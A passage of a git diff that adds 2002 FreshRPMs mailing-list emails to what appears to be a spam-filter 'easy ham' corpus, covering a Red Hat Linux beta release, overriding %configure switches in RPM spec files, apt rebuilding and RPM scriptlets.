homer.netlyncs.com (md.24.171.108.221.charter-stl.com + [24.171.108.221]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7JLmGJ05558 for ; Mon, 19 Aug 2002 23:48:16 +0200 +Received: from bart (bart.netlyncs.com [192.168.1.3]) by + homer.netlyncs.com (8.12.5/8.12.5) with SMTP id g7JLlrlP019411 for + ; Mon, 19 Aug 2002 16:47:53 -0500 +Message-Id: <012201c247ca$21d70220$0301a8c0@bart> +From: "Mike Chambers" +To: "FreshRPM - RPM List" +Subject: Fw: Everybody (null)... again! +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 16:48:19 -0500 +Date: Mon, 19 Aug 2002 16:48:19 -0500 + +FYI.. + +----- Original Message ----- +From: "Bill Nottingham" +To: +Sent: Monday, August 19, 2002 10:40 AM +Subject: Everybody (null)... again! + + +> The (null) beta of Red Hat Linux has been updated. New in this release +include: +> +> - gcc-3.2 - gcc-3.2 allows for better ABI compatibility going forward. +> Note that C++ apps compiled on the first beta will not run on this beta. +> - lots-o-bugfixes +> +> Please report issues via Bugzilla at +http://bugzilla.redhat.com/bugzilla/ - +> choose 'Red Hat Public Beta' as the product, and 'null' as the version. +> +> To discuss (null), send mail to Limbo-list-request@redhat.com with +> 'subscribe' in the subject line. You can leave the body empty. +> +> The updated (null) is at ftp.redhat.com, and the following mirrors: +> +> North America: +> * ftp://linux.nssl.noaa.gov/pub/linux/redhat/linux/beta/null/ +> * ftp://ftp.shuttleamerica.com/pub/mirrors/redhat/linux/beta/null/ +> (also rsync access) +> * ftp://redhat.dulug.duke.edu/pub/redhat/linux/beta/null/ +> (http and also rsync access) +> * ftp://mirror.hiwaay.net/redhat/redhat/linux/beta/null/ +> * ftp://mirror.netglobalis.net/pub/redhat-beta/null/ +> (also http access) +> * ftp://ftp.gtlib.gatech.edu/pub/mirros/ftp.redhat.com/linux/beta/null/ +> South America: +> * ftp://ftp.tecnoera.com/ +> Europe: +> * ftp://ftp.uni-bayreuth.de/pub/redhat/linux/beta/null/ +> * ftp://alviss.et.tudelft.nl/pub/redhat/beta/null/ +> * +ftp://sunsite.mff.cuni.cz/MIRRORS/ftp.redhat.com/redhat/linux/beta/null/ +> * +ftp://ftp.cs.huji.ac.il/mirror/linux/redhat/ftp/redhat/linux/beta/null/ +> * ftp://ftp.funet.fi/pub/mirrors/ftp.redhat.com/redhat/linux/beta/null/ +> * ftp://ftp-stud.fht-esslingen.de/pub/redhat/linux/beta/null/ +> Asia/Pacific: +> * ftp://videl.ics.hawaii.edu/mirrors/redhat/linux/beta/null/ +> * ftp://planetmirror.com/pub/redhat/linux/beta/null/ + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01261.8335ae817bc240842df41dd7c3de2420 b/bayes/spamham/easy_ham_2/01261.8335ae817bc240842df41dd7c3de2420 new file mode 100644 index 0000000..36136fb --- /dev/null +++ b/bayes/spamham/easy_ham_2/01261.8335ae817bc240842df41dd7c3de2420 @@ -0,0 +1,94 @@ +From rpm-list-admin@freshrpms.net Tue Aug 20 10:59:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BEA5C43C34 + for ; Tue, 20 Aug 2002 05:58:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:31 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JMggZ12147 for + ; Mon, 19 Aug 2002 23:42:42 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JMW1J07317; Tue, 20 Aug 2002 00:32:01 + +0200 +Received: from ex02.idirect.net (ex02.idirect.net [208.226.76.48]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7JMVVJ02616 for + ; Tue, 20 Aug 2002 00:31:31 +0200 +X-Mimeole: Produced By Microsoft Exchange V6.0.4417.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Subject: RE: when building a rpm i386-redhat-linux- is appended to man page +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: when building a rpm i386-redhat-linux- is appended to man page +Thread-Index: AcJHz8KLglWHSL5oQ3Cq7dftrvdMdQAABfYg +From: "Harig, Mark A." +To: +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g7JMVVJ02616 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 18:31:25 -0400 +Date: Mon, 19 Aug 2002 18:31:25 -0400 + + + +> -----Original Message----- +> From: Matthias Saou [mailto:matthias@egwn.net] +> Sent: Monday, August 19, 2002 5:25 PM +> To: rpm-zzzlist@freshrpms.net +> Subject: Re: when building a rpm i386-redhat-linux- is appended to man +> page +> +> +> Once upon a time, Harig, wrote : +> +> > > +> > > The workaround is to pass an extra argument to configure +> as follows : +> > > +> > > %configure --program-prefix=%{?_program_prefix:%{_program_prefix}} +> > > +> > +> > This works when you are defining a switch that %configure +> > does not already define, but how can we override an +> > existing switch? +> +> Well, %configure doesn't define "--program-prefix=", so that's why it +> works. Maybe you thought that was an example, but no, it's +> the exact syntax +> to use as a workaround ;-) +> +> Matthias +> + +Actually, I was hoping that you could answer the question "how can we +override an existing switch?" For example, %configure uses the command- +line switch '--prefix'. How can we override that value? + + %configure ??? + +--- + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01262.7b18594e0276a4cb593a6408afa9c636 b/bayes/spamham/easy_ham_2/01262.7b18594e0276a4cb593a6408afa9c636 new file mode 100644 index 0000000..d28cbb5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01262.7b18594e0276a4cb593a6408afa9c636 @@ -0,0 +1,85 @@ +From rpm-list-admin@freshrpms.net Tue Aug 20 10:59:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1992543C43 + for ; Tue, 20 Aug 2002 05:58:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:33 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JMowZ12354 for + ; Mon, 19 Aug 2002 23:50:58 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JMn2J09380; Tue, 20 Aug 2002 00:49:02 + +0200 +Received: from gateway.gestalt.entity.net + (host217-39-58-142.in-addr.btopenworld.com [217.39.58.142]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JMmNJ08246 for + ; Tue, 20 Aug 2002 00:48:23 +0200 +Received: from turner.gestalt.entity.net (turner.gestalt.entity.net + [192.168.0.253]) by gateway.gestalt.entity.net (8.11.6/8.11.2) with ESMTP + id g7JMrTg02454 for ; Mon, 19 Aug 2002 23:53:29 + +0100 +Subject: Re: advice on 7.3.92 to 7.3.93, and Apt compiling (oh joy) +From: Dave Cridland +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020819.Tyh.17357700@www.dudex.net> +References: <20020819.Tyh.17357700@www.dudex.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) +Message-Id: <1029797609.32466.70.camel@turner.gestalt.entity.net> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 19 Aug 2002 23:53:29 +0100 +Date: 19 Aug 2002 23:53:29 +0100 + +On Mon, 2002-08-19 at 22:34, Angles Puglisi wrote: +> Matthias Saou (matthias@egwn.net) wrote*: +> >Then why bother : The new Red Hat Linux beta "(null)" is now available and +> >should be announced anytime now. It contains rpm 4.1-0.81. +> +> Ahhh ... this is funny. Last night I upgraded to Limbo II (.93). +> +> Installed Limbo II kernel, Installed libstdc++ from rawhide (rpm -ivh) so the +> newer apt would work, told apt it is OK to have multiple of libstdc++, copied +> the actual rawhide "libstdc++.so.5.0.0" file to another directory, removed that +> rawhide libstdc++ package, installed (rpm -ivh ) the Limbo II libstdc++ package +> (new apt does not like it), make that symlink "libstdc++.so.5" point to that +> rawhide file I moved earlier. + +You can just recompile the apt source RPM, if it's the newer one. (Such +as mine). There's no dependancies on libstdc++ other than binary ones. + +Currently on release dwd2, which I'm using on my home rawhide box. +(Obviously not production, since the old apt works fine on production +boxes). + +Now... Does anyone know of a good way to delete "old" RPMS from a +directory containing both "new" and "old" RPMS? Say I have +blurb-0.1.0-1.i386.rpm, blurb-0.1.0-2.i386.rpm, and +blurb-0.1.1-1.i386.rpm, and want to remove the blurb-0.1.0-* because of +the presence of blurb-0.1.1-1? Anyone have a convenient script? + +Dave. + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01263.3bb6affa5c6c572955280dd0d5ae8ae7 b/bayes/spamham/easy_ham_2/01263.3bb6affa5c6c572955280dd0d5ae8ae7 new file mode 100644 index 0000000..7eab197 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01263.3bb6affa5c6c572955280dd0d5ae8ae7 @@ -0,0 +1,84 @@ +From rpm-list-admin@freshrpms.net Tue Aug 20 10:59:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 48A6A43C36 + for ; Tue, 20 Aug 2002 05:58:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:37 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JNJ5Z13599 for + ; Tue, 20 Aug 2002 00:19:05 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7JNH1J08874; Tue, 20 Aug 2002 01:17:02 + +0200 +Received: from python (80-24-132-206.uc.nombres.ttd.es [80.24.132.206]) + (authenticated) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7JNG2J27900 for ; Tue, 20 Aug 2002 01:16:02 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: when building a rpm i386-redhat-linux- is appended to man page +Message-Id: <20020820010002.6b55dcac.matthias@egwn.net> +In-Reply-To: +References: +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 20 Aug 2002 01:00:02 +0200 +Date: Tue, 20 Aug 2002 01:00:02 +0200 + +Once upon a time, Harig, wrote : + +> Actually, I was hoping that you could answer the question "how can we +> override an existing switch?" For example, %configure uses the command- +> line switch '--prefix'. How can we override that value? +> +> %configure ??? + +Quite honestly, I thought that the last occurrence was the one that +counted. I'm almost sure I've already done something like : +%configure --bindir=%{_sbindir} +or even +%configure --sysconfdir=%{_sysconfdir}/%{name} + +Are you sure that it was the first for you? Maybe you're forgetting to also +override it in %makeinstall like follows : +%makeinstall bindir=%{buildroot}%{_sbindir} +or even +%makeinstall sysconfdir=%{buildroot}%{_sysconfdir}/%{name} + +Is that it? + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01264.df4dfa46001904d832d56d2eabd4894d b/bayes/spamham/easy_ham_2/01264.df4dfa46001904d832d56d2eabd4894d new file mode 100644 index 0000000..7cf5484 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01264.df4dfa46001904d832d56d2eabd4894d @@ -0,0 +1,83 @@ +From rpm-list-admin@freshrpms.net Tue Aug 20 11:51:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D9B5743C38 + for ; Tue, 20 Aug 2002 06:51:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:16 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K7tXZ29444 for + ; Tue, 20 Aug 2002 08:55:33 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7K7r2J14174; Tue, 20 Aug 2002 09:53:02 + +0200 +Received: from fep02-app.kolumbus.fi (fep02-0.kolumbus.fi [193.229.0.44]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7K7qNJ14111 for + ; Tue, 20 Aug 2002 09:52:23 +0200 +Received: from azrael.blades.cxm ([62.248.234.162]) by + fep02-app.kolumbus.fi with ESMTP id + <20020820075218.KHZP4192.fep02-app.kolumbus.fi@azrael.blades.cxm> for + ; Tue, 20 Aug 2002 10:52:18 +0300 +Received: (from blades@localhost) by azrael.blades.cxm (SGI-8.9.3/8.9.3) + id KAA01184 for rpm-list@freshrpms.net; Tue, 20 Aug 2002 10:52:09 +0300 + (EEST) +X-Authentication-Warning: azrael.blades.cxm: blades set sender to + harri.haataja@cs.helsinki.fi using -f +From: Harri Haataja +To: rpm-zzzlist@freshrpms.net +Subject: Re: Portable RPMs +Message-Id: <20020820105207.A1124@azrael.smilehouse.com> +References: <02081619580702.01597@wilson> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <02081619580702.01597@wilson>; from + bronger@physik.rwth-aachen.de on Fri, Aug 16, 2002 at 07:58:07PM +0200 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 20 Aug 2002 10:52:08 +0300 +Date: Tue, 20 Aug 2002 10:52:08 +0300 + +On Fri, Aug 16, 2002 at 07:58:07PM +0200, Torsten Bronger wrote: +> If I create an RPM according to one of the how-to's with having Red +> Hat in mind, how big are my chances that it will also work for the +> SuSE distribution, or others? (I don't know how many base on the RPM +> system.) +> Or what must I pay attention to when creating an RPM that should work +> with the big distributions? + +Note also that there's hope of rpm being used on other systems than +Linux. +Look at +http://www-1.ibm.com/servers/aix/products/aixos/linux/download.html + +I think a good way to guess is to look at others' spec files, hardcode +as little as possible, replace abolute paths and commands with macros +if possible and accept and request patches and suggestions :) + +-- +Designing in C, I find myself utilizing the Harley Davidson Design +Principle: "If it breaks, make it bigger. If it sticks out, chrome it!" :-) + -- Marin David Condic, comp.lang.ada + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01265.5ddc445febced0203c85d33b04a007d8 b/bayes/spamham/easy_ham_2/01265.5ddc445febced0203c85d33b04a007d8 new file mode 100644 index 0000000..e999174 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01265.5ddc445febced0203c85d33b04a007d8 @@ -0,0 +1,77 @@ +From rpm-list-admin@freshrpms.net Tue Aug 20 18:31:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9150443C32 + for ; Tue, 20 Aug 2002 13:31:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 18:31:27 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KHUdZ17352 for + ; Tue, 20 Aug 2002 18:30:40 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7KHT2J07770; Tue, 20 Aug 2002 19:29:02 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7KHRuJ07662 for + ; Tue, 20 Aug 2002 19:27:56 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: when building a rpm i386-redhat-linux- is appended to man page +Message-Id: <20020820192613.61f14bee.matthias@egwn.net> +In-Reply-To: +References: +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 20 Aug 2002 19:26:13 +0200 +Date: Tue, 20 Aug 2002 19:26:13 +0200 + +Once upon a time, Harig, wrote : + +> I've found that the solution is to %define the needed values before +> calling %configure, for example, +> +> %define _prefix /your/local/prefix +> %define _includedir /your/local/prefix/include/%{name} +> %configure && %__make +> +> If you follow the steps above, then %makeinstall can be called +> without any overrides, which is a relatively nice, clean solution. + +You're absolutely right... and come to think of it, I must have done it +that way in fact :-/ + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01266.94f7e1cce0ec1935ca75d232e4dc684c b/bayes/spamham/easy_ham_2/01266.94f7e1cce0ec1935ca75d232e4dc684c new file mode 100644 index 0000000..f6d67fc --- /dev/null +++ b/bayes/spamham/easy_ham_2/01266.94f7e1cce0ec1935ca75d232e4dc684c @@ -0,0 +1,79 @@ +From rpm-list-admin@freshrpms.net Wed Aug 21 07:21:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0147343C32 + for ; Wed, 21 Aug 2002 02:21:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 07:21:59 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L6LrZ12715 for + ; Wed, 21 Aug 2002 07:21:53 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7L6H3J22122; Wed, 21 Aug 2002 08:17:03 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7L6G0J06262 for + ; Wed, 21 Aug 2002 08:16:01 +0200 +Received: from aquila.kamakiriad.local ([192.168.1.3]) by kamakiriad.com + (8.11.6/8.11.0) with SMTP id g7KBDqM14453 for ; + Tue, 20 Aug 2002 06:13:52 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Subject: Re: advice on 7.3.92 to 7.3.93, and Apt compiling +Message-Id: <20020820061352.0e42958d.kilroy@kamakiriad.com> +In-Reply-To: <20020819164430.437451f6.matthias@egwn.net> +References: <20020816.utj.20032800@www.dudex.net> + <20020816114759.2b1ed25e.matthias@egwn.net> + <1029767992.32421.6.camel@turner.gestalt.entity.net> + <20020819164430.437451f6.matthias@egwn.net> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 20 Aug 2002 06:13:52 -0500 +Date: Tue, 20 Aug 2002 06:13:52 -0500 + +On Mon, 19 Aug 2002 16:44:30 +0200, Matthias Saou wrote: + +[snipped] + +> Then why bother : The new Red Hat Linux beta "(null)" is now available and +> should be announced anytime now. It contains rpm 4.1-0.81. +> +> You can grab it from here : +> ftp://ftp.freshrpms.net/pub/redhat/linux/beta/null/ + + What's the official "apt" line for it? Is it just 7.4 instead of 7.3, or did they make this one 8.0? + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I've been complaining for years, and almost no one listened. "Windows is +just easier" you said. "I don't want to learn anything new", you said. +Tell me how easy THIS is: +http://www.guardian.co.uk/Archive/Article/0,4273,4477138,00.html + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01267.0c40327f0086718a2bf75ff74d7aa5fb b/bayes/spamham/easy_ham_2/01267.0c40327f0086718a2bf75ff74d7aa5fb new file mode 100644 index 0000000..b08dffa --- /dev/null +++ b/bayes/spamham/easy_ham_2/01267.0c40327f0086718a2bf75ff74d7aa5fb @@ -0,0 +1,84 @@ +From rpm-list-admin@freshrpms.net Wed Aug 21 07:45:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4BCD643C34 + for ; Wed, 21 Aug 2002 02:45:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 07:45:31 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L6eVZ13206 for + ; Wed, 21 Aug 2002 07:40:31 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7L6c1J14275; Wed, 21 Aug 2002 08:38:01 + +0200 +Received: from athlon.ckloiber.com (rdu25-28-106.nc.rr.com [24.25.28.106]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7L6bcJ13949 for + ; Wed, 21 Aug 2002 08:37:38 +0200 +Received: (from ckloiber@localhost) by athlon.ckloiber.com (8.11.6/8.11.6) + id g7L6bYj16433; Wed, 21 Aug 2002 02:37:34 -0400 +X-Authentication-Warning: athlon.ckloiber.com: ckloiber set sender to + ckloiber@ckloiber.com using -f +Subject: Re: RPM's %post, %postun etc +From: Chris Kloiber +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <02082015385901.01077@wilson> +References: <02082015385901.01077@wilson> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1029911854.14946.99.camel@athlon.ckloiber.com> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 21 Aug 2002 02:37:34 -0400 +Date: 21 Aug 2002 02:37:34 -0400 + +Have you tried rebuilding your package on a system that has a stock (or +no) .rpmmacros file? Does it still build (and install/uninstall) the way +you intended it to? + +On Tue, 2002-08-20 at 09:38, Torsten Bronger wrote: +> Halloechen! +> +> At the moment I create an RPM that also adds some files to +> teTeX's texmf/ tree. +> +> Therefore I defined in my .rpmmacros a %texhash that +> calls texhash if it exists and in the spec file +> +> %post +> %{texhash} +> +> %postun +> %{texhash} +> +> But this is a costly operation. Is it nevertheless worth it? +> In particular, if this RPM is installed together with (very many) +> others, are those %pre, %post etc. skipped and an 'omnipotent' +> script called that e.g. updates TeX's file database? +> +> Tschoe, +> Torsten. + +-- +Chris Kloiber + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01268.280863c5d13405da77887dc3bbdb3071 b/bayes/spamham/easy_ham_2/01268.280863c5d13405da77887dc3bbdb3071 new file mode 100644 index 0000000..90ba62a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01268.280863c5d13405da77887dc3bbdb3071 @@ -0,0 +1,87 @@ +From rpm-list-admin@freshrpms.net Wed Aug 21 09:42:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 285B943C32 + for ; Wed, 21 Aug 2002 04:42:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 09:42:02 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L8hOZ16432 for + ; Wed, 21 Aug 2002 09:43:24 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7L8e3J21460; Wed, 21 Aug 2002 10:40:03 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with 